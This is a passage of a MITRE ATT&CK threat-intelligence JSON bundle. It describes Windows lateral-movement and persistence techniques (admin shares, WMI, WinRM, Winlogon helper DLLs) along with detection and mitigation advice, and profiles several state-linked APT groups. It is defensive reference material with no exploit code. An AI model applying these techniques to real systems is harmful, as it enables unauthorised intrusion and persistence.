            "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)\n\nDetection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator\n\nSystem Requirements: File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1077",
                    "external_id": "T1077"
                },
                {
                    "source_name": "Wikipedia SMB",
                    "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Server%20Message%20Block"
                },
                {
                    "source_name": "TechNet RPC",
                    "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx"
                },
                {
                    "source_name": "Microsoft Admin Shares",
                    "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.",
                    "url": "http://support.microsoft.com/kb/314984"
                },
                {
                    "source_name": "Technet Net Use",
                    "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                    "url": "https://technet.microsoft.com/bb490717.aspx"
                },
                {
                    "source_name": "Lateral Movement Payne",
                    "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
                    "url": "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx"
                },
                {
                    "source_name": "Windows Event Forwarding Payne",
                    "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
                    "url": "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx"
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                "File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account."
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network.  By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1047",
                    "external_id": "T1047"
                },
                {
                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.\n\nRemote Support: Yes",
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                    "source_name": "Wikipedia SMB",
                    "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Server%20Message%20Block"
                },
                {
                    "source_name": "TechNet RPC",
                    "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx"
                },
                {
                    "source_name": "MSDN WMI",
                    "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx"
                },
                {
                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
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                "Process command-line parameters",
                "Process monitoring"
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                "User",
                "Administrator"
            ],
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            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication."
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
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            "type": "course-of-action",
            "id": "course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Windows Management Instrumentation Event Subscription Mitigation",
            "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1084",
                    "external_id": "T1084"
                },
                {
                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
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            "id": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:05.140Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Windows Management Instrumentation Event Subscription",
            "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: WMI Objects\n\nPermissions Required: Administrator, SYSTEM",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1084",
                    "external_id": "T1084"
                },
                {
                    "source_name": "Dell WMI Persistence",
                    "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
                    "url": "https://www.secureworks.com/blog/wmi-persistence"
                },
                {
                    "source_name": "Kazanciyan 2014",
                    "description": "Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks &#91;slides&#93;. Retrieved November 3, 2014.",
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf"
                },
                {
                    "source_name": "Mandiant M-Trends 2015",
                    "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
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            ],
            "x_mitre_platforms": [
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            ],
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Windows Remote Management Mitigation",
            "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1028",
                    "external_id": "T1028"
                },
                {
                    "source_name": "NSA Spotting",
                    "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2013, December 16). Spotting the Adversary with Windows Event Log Monitoring. Retrieved November 12, 2014.",
                    "url": "http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
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            "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WinRM listener turned on and configured on remote system\n\nRemote Support: Yes",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1028",
                    "external_id": "T1028"
                },
                {
                    "source_name": "Microsoft WinRM",
                    "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/aa384426"
                },
                {
                    "source_name": "Jacobsen 2014",
                    "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
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                "User",
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            ],
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            "x_mitre_system_requirements": [
                "WinRM listener turned on and configured on remote system"
            ],
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
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            "id": "course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Winlogon Helper DLL Mitigation",
            "description": "Upgrade the operating system to a newer version of Windows if using a version prior to Vista. \n\nLimit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1004",
                    "external_id": "T1004"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
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            "x_mitre_version": "1.0"
        },
        {
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            "id": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:20.148Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Winlogon Helper DLL",
            "description": "Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.\n\nDetection: Monitor for changes to registry entries in <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify</code> that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nPermissions Required: Administrator, SYSTEM",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1004",
                    "external_id": "T1004"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Windows Registry",
                "File monitoring",
                "Process monitoring"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:47.955Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "APT1",
            "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)",
            "aliases": [
                "APT1",
                "Comment Crew",
                "Comment Group",
                "Comment Panda"
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Group/G0006",
                    "external_id": "G0006"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:47.537Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "APT12",
            "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)",
            "aliases": [
                "APT12",
                "IXESHE",
                "DynCalc",
                "Numbered Panda",
                "DNSCALC"
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Group/G0005",
                    "external_id": "G0005"
                },
                {
                    "source_name": "Meyers Numbered Panda",
                    "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
                    "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:56.270Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "APT16",
            "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)",
            "aliases": [
                "APT16"
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Group/G0023",
                    "external_id": "G0023"
                },
                {
                    "source_name": "FireEye EPS Awakens Part 2",
                    "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:57.307Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "APT17",
            "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)",
            "aliases": [
                "APT17",
                "Deputy Dog"
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Group/G0025",
                    "external_id": "G0025"
                },
                {
                    "source_name": "FireEye APT17",
                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:57.733Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "APT18",
            "description": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)",
            "aliases": [
                "APT18",
                "Threat Group-0416",
                "TG-0416",
                "Dynamite Panda"
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Group/G0026",
                    "external_id": "G0026"
                },
                {
                    "source_name": "Dell Lateral Movement",
                    "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.",
                    "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:48.664Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "APT28",
            "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)",
            "aliases": [
                "APT28",
                "Sednit",
                "Sofacy",
                "Pawn Storm",
                "Fancy Bear",
                "STRONTIUM",
                "Tsar Team",
                "Threat Group-4127",
                "TG-4127"
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Group/G0007",
                    "external_id": "G0007"
                },
                {
                    "source_name": "Crowdstrike DNC June 2016",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
                },
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "source_name": "GRIZZLY STEPPE JAR",
                    "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017."
                },
                {
                    "source_name": "SecureWorks TG-4127",
                    "description": "SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.",
                    "url": "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:52.748Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "APT29",
            "description": "APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)",
            "aliases": [
                "APT29",
                "The Dukes",
                "Cozy Bear",
                "CozyDuke"
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Group/G0016",
                    "external_id": "G0016"
                },
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
                },
                {
                    "source_name": "GRIZZLY STEPPE JAR",
                    "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017."
                },
                {
                    "source_name": "Crowdstrike DNC June 2016",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:55.853Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "APT3",
            "description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\n (Citation: APT3 Adversary Emulation Plan)",
            "aliases": [
                "APT3",
                "Gothic Panda",
                "Pirpi",
